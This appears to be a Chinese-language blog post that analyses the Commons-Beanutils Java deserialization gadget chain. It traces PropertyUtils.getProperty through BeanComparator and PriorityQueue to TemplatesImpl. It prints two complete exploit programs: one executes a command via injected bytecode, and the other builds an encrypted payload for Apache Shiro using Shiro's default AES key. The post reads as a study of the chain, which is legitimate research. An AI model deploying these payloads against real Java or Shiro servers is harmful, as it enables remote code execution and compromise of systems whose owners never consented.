java cb链
环境搭建
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
这里直接用maven搭建一个简易的环境主要是用来记录一下
分析
先来写一个demo看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.zbz;
public class demo { public demo(String name, int age) { this.name = name; this.age = age; }
public String name; public int age;
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.zbz;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class test { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { demo zbz = new demo("zbz", 22); System.out.println(PropertyUtils.getProperty(zbz, "name")); System.out.println(zbz.name); } }
|
可以看到输出是一样的

这里引用其他师傅的介绍
在 CB 中有个工具类叫PropertyUtils,它可以对 javaBean 进行一些操作
PropertyUtils类下提供了一些静态方法,以方便开发者直接调用一些getter和setter方法:
getProperty:返回指定Bean的指定属性的值
getSimpleProperty:返回指定Bean的指定属性的值
setProperty:设置指定Bean的指定属性的值
setSimpleProperty:设置指定Bean的指定属性的值
这里cb链的问题主要是出现在这个方法中我们跟进去看看

继续跟

继续接着跟

进到getNestedProperty类,继续跟

跟进这个类

跟到这里继续跟进去

可以看到,我们传入的是 name ,这里返回 Bean 属性值是 Name ,并且 set 方法与 get 方法都是 setName , getName ,这是 JavaBean 的命名格式,会将传进来的小写首字母大写关于javaBean的一些知识什么是JavaBean? - JYRoy - 博客园 (cnblogs.com)= JavaBeans是Java中一种特殊的类,可以将多个对象封装到一个对象(bean)中。,特点是可序列化,提供无参构造器,提供getter方法和setter方法访问对象的属性。 名称中的“Bean”是用于Java的可重用软件组件的惯用叫法。

到这里可以看到这部分很像反射调用

可以看到就是利用了反射调用对象中的方法。这里我们直接总结一下也就是说我们可以通过PropertyUtils.getProperty(zbz, “name”); 的方式进行递归获取。通过这个
方法,使用者可以很方便地调用任意对象的getter。
然后后面就是与Templates链的结合使用,具体可以参考cc3 cc4看看templates的原理调用这里就不过多介绍
主要介绍为什么会结合这个templates这个类。这里直接给出结论就是**getOutputProperties()**
方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用 前面提到的,commons-beanutils里的**PropertyUtils.getProperty()**
去调用getter。那么往上找链子,CB链里 哪个位置调用了**getProperty**
呢?
在之前的CC2/4的链中我们用到了**java.util.PriorityQueue**
的readObject触发反序列化,主要是通过调用了其**TransformingComparator**
的compare方法,进而调用了transform链的调用
而 CommonsBeanutils 利用链中核心的触发位置就是 **BeanComparator.compare()**
函数,当调用 **BeanComparator.compare()**
函数时,其内部会调用我们前面说的 **getProperty**
函数,进而调用 JavaBean 中对应属性的 getter 函数。

这里会调用**PropertyUtils.getProperty()**
方法 因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用 **TemplatesImpl.getOutputProperties()**
往下就是TemplatesImpl的利用链。那么往上找 哪里调用 compare()呢 可以利用CC2/4链中用的 **PriorityQueue.readObject()**
具体可以参考自己写的cc2讲解了如何调用的compare方法以及comparator也可以控制。
前面的CC2链文章提到了,queue的size应该大于等于2,而add()也会执行compare,由于在BeanComparator的compare()方法中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。所以在初始化的时候,我们add任意值,然后利用反射修改成恶意TemplateImpl 对象
给出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package com.zbz;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import java.io.*; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class test { public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(filedname); field.setAccessible(true); field.set(obj, value); }
public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("CB1"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"); byte[] bytes = payload.toBytecode(); Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "test"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(); final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator); queue.add(1); queue.add(1);
setFieldValue(comparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
|
无依赖打shiro

在BeanComparator
类的构造函数处,当没有显式传入Comparator
的情况下,则默认使用 ComparableComparator
。
既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
- 实现 java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带
CaseInsensitiveComparator
类是java.lang.String
类下的一个内部私有类,其实现了 Comparator
和Serializable
,且位于Java的核心代码
通过String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的CaseInsensitiveComparator
对象,用它来实例化 BeanComparator
所以exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class CB1 { public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception { Class clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, newValue); } public static void main(String[] args) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode() }); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue pq = new PriorityQueue(comparator); setFieldValue(pq, "size", 2); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(pq, "queue", new Object[]{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(pq); oos.close();
AesCipherService aes = new AesCipherService(); byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key); System.out.printf(ciphertext.toString()); } }
|
参考:https://www.cnblogs.com/gk0d/p/16889963.html